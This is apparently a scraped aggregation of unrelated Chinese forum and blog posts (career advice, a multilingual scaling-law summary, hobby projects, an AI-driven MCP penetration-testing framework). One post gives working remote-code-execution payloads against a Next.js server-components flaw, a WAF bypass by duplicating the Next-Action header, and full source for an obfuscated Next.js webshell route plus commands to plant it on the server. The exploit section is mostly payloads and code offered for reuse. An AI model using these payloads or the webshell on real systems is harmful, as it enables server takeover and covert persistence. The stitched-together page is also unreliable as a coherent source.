新设立的区级国企技术岗值不值得去呢
35 了 目前在二线互联网大厂 目测短期还能苟住
国企是项目制的,总包要砍掉一大半
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
35 了 目前在二线互联网大厂 目测短期还能苟住
国企是项目制的,总包要砍掉一大半
空闲时候花了几分钟做了一个 Win 的刘海,如下图:

目前可以显示时间,按理在这块“刘海”是可以显示更多的内容,比如 todoList,或是每日提醒,或是每日一句。

谷歌 DeepMind 的研究人员提出了ATLAS,这是一套针对多语言语言模型的缩放定律,用于形式化描述随着支持语言数量的增加,模型规模、训练数据量以及语言组合之间如何相互作用。该研究基于 774 次受控训练实验,模型参数规模从 1000 万到 80 亿不等,使用覆盖 400 多种语言的多语言训练数据,并在 48 种目标语言上评估模型性能。 现有的大多数缩放定律主要来源于仅使用英语或单一语言的训练设置,因此对于多语言训练的模型只能提供有限的指导。ATLAS 在此基础上进行了扩展,显式建模了跨语言迁移以及由多语言训练引入的效率权衡。该框架不再假设新增语言会产生统一影响,而是估计在训练过程中,单个语言如何促进或干扰其他语言的性能表现。 ATLAS 的核心是一种跨语言迁移矩阵,用于衡量在一种语言上训练对另一种语言性能的影响。分析结果表明,正向迁移与共享书写系统和语言家族高度相关。例如,斯堪的纳维亚语言之间表现出明显的相互增益,而马来语和印尼语则构成了一个高迁移效率的语言对。英语、法语和西班牙语则表现为广泛有益的源语言,这很可能与其数据规模和多样性有关,但这种迁移效应并不具备对称性。 ATLAS 通过将训练语言数量与模型规模和数据量一并纳入建模,扩展了传统的缩放定律。它量化了所谓的“多语言诅咒”:在模型容量固定的情况下,随着支持语言数量的增加,每种语言的性能会下降。实验结果表明,在保持性能不变的前提下,若语言数量翻倍,模型规模需增加约 1.18 倍,总训练数据量需增加约 1.66 倍;而正向的跨语言迁移可以在一定程度上抵消单语言数据减少所带来的性能下降。 该研究还分析了在不同条件下,是从零开始预训练一个多语言模型,还是在已有多语言模型检查点上进行微调更为有效。结果显示,在较低 token 预算下,微调在计算效率上更具优势;而当训练数据和计算资源超过某一与语言相关的阈值后,从头预训练反而更有利。对于 20 亿参数规模的模型,这一拐点通常出现在约 1440 亿到 2830 亿 token 之间,为根据可用资源选择训练策略提供了实用参考。 此次发布也引发了关于替代模型架构的讨论。一位 X 用户评论道: 与其训练一个在每种语言上都使用大量冗余数据的超大模型,一个纯粹用于翻译的模型需要多大规模?这样又能让基础模型缩小多少? 尽管 ATLAS 并未直接回答这一问题,但其提供的迁移测量结果和缩放规则,为探索模块化或专用化的多语言模型设计奠定了定量基础。 原文链接:
漏洞刚出来,就有反转反转,最终经过测试,总结了一些利用方式
npm create next-app@16.0.6 react -y
npm run dev经过参考网上的payload,我在实际利用过程中进行了一些细微的改造,让它利用起来更加舒服。
注:lc.com为本地hosts映射的本地IP,非公网服务器,请勿随意对公网服务器进行攻击
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}常规payload,回显在响应头部


这种payload比较清晰明了,但是如果执行的命令是返回多行的,就不凑效了,因为不能给响应头的值设置成多行的,可以将多行命令拼接成一行,不过构造命令挺麻烦的,于是就有了payload2
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('【命令】').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
将返回内容进行base64解码得到多行结果

为了方便输入复杂的命令,这里把输入的命令也进行base64编码进行传输,这里测试callback的代码,也可以完美执行。
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync(Buffer.from('【base64编码的命令】','base64').toString()).toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
但是像这种耗时命令会因为同步执行被阻塞住,这类命令后台都是返回500的,如果是执行反弹shell,这种可能会直接卡住。

我这里执行ping 127.0.0.1 -t让他阻塞住,我现在后面发送的请求都不会有响应,因为被阻塞住了

因此又有了payload-3
exec可以不阻塞执行命令,即使ping 127.0.0.1 -t,也能继续执行后续操作,但是也有个弊端,无法直接返回执行结果,因此可以搭配callback网站使用,请求会立即返回一个对象,命令执行结果返回到callback里面
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').exec(Buffer.from('【base64编码命令】','base64').toString()).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

实际测试过程中,我遇到过一些waf,目前遇到的,我只要两个方法就能直接绕过。
注:下面测试的站点不存在此漏洞,只为演示绕过waf
首先第一个位置绕过,正常发送直接被拦了

删内容,找到关键拦截点,经过测试,第一个点是在这个payload位置

这个位置常规使用脏数据可以绕过大部分的waf了

然后第二处就是关键头部,Next-Action是必须要的,如果没有这个头部,将无法执行命令


但是只要有这个头部,就直接被拦住了,很明显waf专门针对这个漏洞进行了规则配置

我尝试了脏数据,添加一堆头部,加到装不下了,也绕过不了

最后经过尝试,只需要重复Next-Action就行了,猜测应是读取头部指定键时,如果存在多个指定键,会报错,或者waf判断的是这个键的数量是不是1

且双写头部,是可以正常执行命令的

写木马也有坑点,无论是写linux的还是windows的
写木马最好是用base64编码来写,这样子可以减少需要转义的字符
shell代码如下:
import { NextResponse } from 'next/server';
import { exec } from 'child_process';
// GET 请求处理(仅从URL参数获取参数)
export async function GET(request) {
return new Promise((resolve) => {
try {
// 从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
const demo = searchParams.get('demo');
const b64 = searchParams.get('b64'); // 获取b64参数,判断是否解码
// 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}
// POST 请求处理(支持URL参数 + FormData格式body)
export async function POST(request) {
return new Promise(async (resolve) => {
try {
// 1. 优先从URL参数获取demo和b64参数
const { searchParams } = new URL(request.url);
let demo = searchParams.get('demo');
let b64 = searchParams.get('b64');
// 2. URL参数不存在时,从FormData格式的body获取
if (!demo) {
const formData = await request.formData();
demo = formData.get('demo');
// 同时从body获取b64参数(兼容body传b64的场景)
if (!b64) b64 = formData.get('b64');
}
// 3. 校验demo参数是否存在
if (!demo) {
resolve(NextResponse.json(
{ error: '缺少demo参数' },
{ status: 400 }
));
return;
}
// 根据b64参数判断是否解码:b64=1时解码,否则直接使用原始内容
const command = b64 === '1'
? Buffer.from(demo, 'base64').toString('utf-8')
: demo;
// 执行命令
exec(command, (error, stdout, stderr) => {
if (error) {
console.error('执行错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
return;
}
const result = (stdout || stderr).toString().trim();
resolve(new NextResponse(result, {
status: 200,
headers: {
'Content-Type': 'text/plain; charset=utf-8',
},
}));
});
} catch (error) {
console.error('参数处理错误:', error);
resolve(NextResponse.json(
{ error: '执行失败', message: error.message },
{ status: 500 }
));
}
});
}首先对shell文件进行压缩混淆,增加被发现难度,我用JavaScript/Html在线格式化-Js/Html压缩-Js加密压缩工具,先压缩后混淆

使用命令写入,先从windows开始踩坑,需要执行的命令如下:
mkdir E:\漏洞测试环境\create-next-app\app\api\shell && echo [压缩后的代码] > E:\漏洞测试环境\create-next-app\app\api\shell\route.js 这个命令是发送到服务器执行的代码,99%是会报错的,因为压缩后的代码依旧存在大量cmd已经定义的符号。&、>、<等,需要统一替换代码中的这些特殊符号,在前面加一个 ^进行转义才能真正写入
未转移在cmd执行会因为各种符号报错,我示例这里直接echo输出shell代码

转义后再次执行,这次没报错了

linux因为可以使用EOF,轻松多了,但是如果你使用base64编码后的命令,可能会出现你写入的文件名不对的问题
mkdir -p /home/lc/Public/bugtest/react/app/api/shell && cat << 'EOF' > /home/lc/Public/bugtest/react/app/api/shell/route.js
[shell代码]
EOF
这里乍一看都是一样的文件名,其中一个是我通过漏洞写入的,但是怎么会有一样的文件名呢?
切管理员上帝视角看一下,很明显看到第二个我用漏洞写入的文件后面是有特殊符号的

其实是因为window和linux换行符的原因,windown用的CRLF,linux是LF,所以因为换行符不一致导致编码后多出不可见符号,解决方法很简单,如图,把输入字符串改成LF,然后把文件名后面的CR删掉就可以了(代码的CR删不删都行,不影响)

最终效果:
这里我把传参由demo改成了minl,

也可以base64编码命令

文中我用到的工具我也上传了github,自己写的,不是专业开发,可能会有小bug,遇到欢迎提
谷歌发布学术插图生成工具--PaperBanana
主要特点:
🌟 类人工作流程:检索 🔍 - 计划 📝 - 风格 🎨 - 渲染 🖼️ - 评论 🔄 。既保证了学术严谨性,又兼顾了美观性。
🌟 多功能:支持说明性图表和统计图表。
🌟 润色:对润色现有的人工绘制的图表也有效。
AutoRedTeam-Orchestrator 是一个基于 Model Context Protocol (MCP) 的 AI 驱动自动化渗透测试框架。
它将 101 个安全工具 封装为 MCP 工具,可与支持 MCP 的 AI 编辑器 (Claude Code, Cursor, Windsurf, Kiro, Claude Desktop) 无缝集成,实现自然语言驱动的自动化安全测试。
简单说:配置好之后,直接跟 AI 说「帮我扫描 xxx.com 的漏洞」就行了
| 指标 | 数量 |
|---|---|
| MCP 工具 | 101 |
| Payload 库 | 2,000+ |
| 测试用例 | 1,461 |
| 漏洞检测器 | 19 |
| 特性 | 传统工具 | AutoRedTeam-Orchestrator |
|---|---|---|
| 交互方式 | 命令行记忆 | 自然语言对话 |
| 学习成本 | 高(需记忆大量参数) | 低(AI 自动选择工具) |
| 工具整合 | 手动切换工具 | 101 工具统一接口 |
| 攻击链规划 | 人工规划 | MCTS 算法 + 知识图谱 |
| 误报过滤 | 人工验证 | OOB + 统计学验证 |
| 报告生成 | 手动编写 | 一键生成专业报告 |
| 会话管理 | 无 | 支持断点续传 |
| 安全性 | 各工具独立 | MCP 安全中间件统一防护 |
最早是在用 HexStrike,还参与过二次开发,和 #96 分支作者 Ynee 也有过深入交流。
后来在社区找到了 HexStrike 原作者,但他似乎遇到了一些生活上的困难,项目更新明显放缓了。
与其等待,不如自己动手。正好使用中也积累了一些想法:
为什么非得在 Kali 上跑? → 做成 Windows 原生,Linux 也兼容
为什么不能和 AI 编辑器联动? → 基于 MCP 协议,Claude Code 直接调用
为什么工具这么分散? → 101 个工具整合到一起
于是就有了这个项目。
语言 Python 3.10+
协议 MCP (Model Context Protocol)
并发 asyncio / httpx / aiohttp
算法 MCTS 蒙特卡洛树搜索
存储 内存图存储 / SQLite
安全 输入验证 / 速率限制 / 操作授权
CLI 工具:
Claude Code (终端)
Gemini CLI
Codex CLI(道德感严重 )
iFlow CLI
IDE / 桌面端:
Cursor
Windsurf
Kiro
Claude Desktop
VS Code (with MCP extension)
基本上只要能跑 MCP 的 IDE/CLI 都可以用这个项目
结果案例:
codex扫描时间过长我停了,具体各位佬可以重新测试一下
欢迎 Star 和 PR!
本工具仅限以下场景使用:
授权渗透测试
红队安全评估
安全研究学习
CTF 竞赛
严禁用于:
未经授权测试他人系统
任何非法用途
使用本工具造成的任何法律后果由使用者自行承担。
狗头保命,希望大家合法合规使用~
第一次在 L 站发自己的项目,有问题欢迎回帖讨论,也可以去 GitHub 发 Issue 或者按项目里的邮箱联系我,看到就会回复。
希望大家共同进步,也请各位师傅斧正!
目前系统版本 ios26.2 ,由于充电比较方便,手机购买后电量都没低于 20%过,昨天外出忘了充电,电量低开启省电模式才发现这个问题。目前 ios26 优化也太拉了吧!
最好同时能暖手脚, 平时冬天就会手脚冰冷. 试过足浴盆不行. 有啥能长时间给身体供暖(特别是手脚)的电器?
谢谢
能抓耗子的猫就是好猫。
最近和不同的朋友聊天,熟悉程度差不多。然后发现了一点聊天上使用 逗号,句号 一点不同的感受。目前来看有两种情况。
我自己认为是比较自在时不会有心地去使用句号结尾。所以我觉得不使用句号结尾相对来说是更加自在。而对于有句号结尾,可能是这条消息有所斟酌然后缓缓打了一个句号,然后有种对方不知道咋回复的感觉,当然这个可能只是我这个例子😂。
,顺便问下,要怎么发图片呀,搜了下发图的指导,一下子没看懂。
前言
自己用过很多自托管的导航页,始终没有找到适合自己心意的,要么太重,要么太简陋。于是通过 Vibe coding 设计了一个满足自己的导航页,多说无益,欢迎大家来使用。
✨ 核心特性
🚀 快速部署
docker run -d -p 3000:3000 -v ./data:/app/data ghcr.io/wtfllix/navidash:latest
🔗 链接
在线演示: navidash.vercel.app
GitHub: github.com/wtfllix/navidash (求个 Star 🌟)
Sample:

观察到用代理访问 www.bing.com 会导致区域设置被改回中国,此时搜敏感词会让搜索结果变成无意义的外语结果。换个代理 IP 又好了,推测跟 IP 质量有关。(原谅我标题用别字,因为我每次发文打那个字都会被 v 站锁 ip 。)
Hi V2EX 的朋友们,
最近工作之余,想找一款不用动脑子、随时能停、画风舒服的经商游戏,找了一圈没发现特别合心意的,于是干脆自己动手写了一个——《浮生商记》。
这是一款纯单机、古风策略、模拟经商的网页游戏。没有眼花缭乱的广告,不需要登录注册(数据存在本地 LocalStorage ),主打就是一个“佛系养成,世代传承”。
🔗 试玩地址
https://fusheng.jrkk.cn/ (建议手机端或浏览器小窗口体验,摸鱼效果更佳)
📷 游戏截图
(楼主注:多图预警,UI 刚刚做了一波优化,力求古色古香)
随机集市与动态物价: 这里不是无脑买卖,还要看“天时”。引入了 24 节气系统,清明茶贱,寒露丝贵。https://i.imgur.com/L0hEK69.png
产业闭环与技艺工坊: 单纯倒买倒卖利润低?试试买下桑园、矿山,学习缫丝、冶炼、炼丹,把原料加工成高价成品。https://i.imgur.com/0okPlNB.png
红颜知己与家族传承: 除了赚钱,还要生活。结识芸娘、苏小小等红颜,好感度高了能解锁强力 Buff (比如回血翻倍、背包扩容)。这一世结束了?别怕,资产和技艺可以传给下一代,打造万世基业。https://i.imgur.com/YLrTJcM.png
https://i.imgur.com/vvYfMcw.png
🎮 核心玩法 & 特色
💻 技术栈:React + Tailwind CSS + Lucide React 。纯前端实现,利用 LocalStorage 实现自动存档和离线收益计算。
🌍 动态世界:每次开局,地图(苏州、长安、敦煌等)和可结识的红颜都是随机生成的,Roguelike 微元素。
📈 身份进阶:从一介“行脚商”做起,慢慢爬升到“市井掌柜”、“朝廷皇商”乃至“江南巨贾”,解锁运费减免和贡品贸易特权。
💾 数据自由:虽然是单机,但我做了一个存档导出/导入功能(生成一段字符串),你可以把进度存在本地,或者发给朋友(虽然目前是单机,但可以以此炫耀资产)。
🛌 离线收益:关掉网页去工作,你的商号伙计也在帮你赚钱。再次打开时会根据离线时长结算收益。
👨💻 碎碎念 / 后续计划
目前游戏的核心闭环(买卖-产业-传承)已经完成。UI 方面特意打磨了一下,用了仿宣纸的底色和深棕色的木质纹理,希望能给大家带来一点“慢生活”的治愈感。
接下来的计划:
增加更多的随机奇遇事件(目前已经有一些简单的抉择)。
丰富传家宝系统,让“传承”更有意义。
优化移动端的触控体验。
欢迎大家试玩,如果有 Bug 或者好的脑洞,请在评论区疯狂输出!感谢!